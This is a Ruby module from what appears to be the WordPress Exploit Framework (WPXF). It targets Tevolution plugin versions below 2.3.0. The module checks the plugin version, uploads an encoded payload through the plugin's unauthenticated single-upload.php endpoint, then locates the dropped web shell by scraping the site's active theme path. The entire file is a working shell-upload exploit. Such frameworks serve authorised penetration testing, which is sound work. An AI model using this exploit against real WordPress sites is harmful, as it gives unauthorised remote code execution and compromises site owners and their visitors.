lib/wpxf/modules/exploit/shell/tevolution_shell_upload.rb
# frozen_string_literal: true
class Wpxf::Exploit::TevolutionShellUpload < Wpxf::Module
include Wpxf::WordPress::ShellUpload
def initialize
super
update_info(
name: 'Tevolution < 2.3.0 Shell Upload',
author: [
'rastating' # WPXF module
],
references: [
['WPVDB', '8482'],
['URL', 'https://templatic.com/news/security-vulnerability-found-themes/']
],
date: 'Apr 23 2016'
)
end
def check
change_log = normalize_uri(plugin_url, 'change_log.txt')
check_version_from_custom_file(change_log, /\(Version\s(\d\.\d\.\d)\)/, '2.3.0')
end
def plugin_url
normalize_uri(wordpress_url_plugins, 'Tevolution')
end
def uploader_url
normalize_uri(plugin_url, 'tmplconnector', 'monetize', 'templatic-custom_fields', 'single-upload.php')
end
def payload_body_builder
builder = Utility::BodyBuilder.new
builder.add_file_from_string(Utility::Text.rand_alpha(5), payload.encoded, payload_name)
builder
end
def scrape_current_theme
res = execute_get_request(url: full_uri)
res.body[/\/#{wp_content_dir}\/themes\/(.*?)\//, 1] if res && res.body
end
def uploaded_payload_location
theme = scrape_current_theme
normalize_uri(wordpress_url_themes, theme, 'images', 'tmp', payload_name)
end
end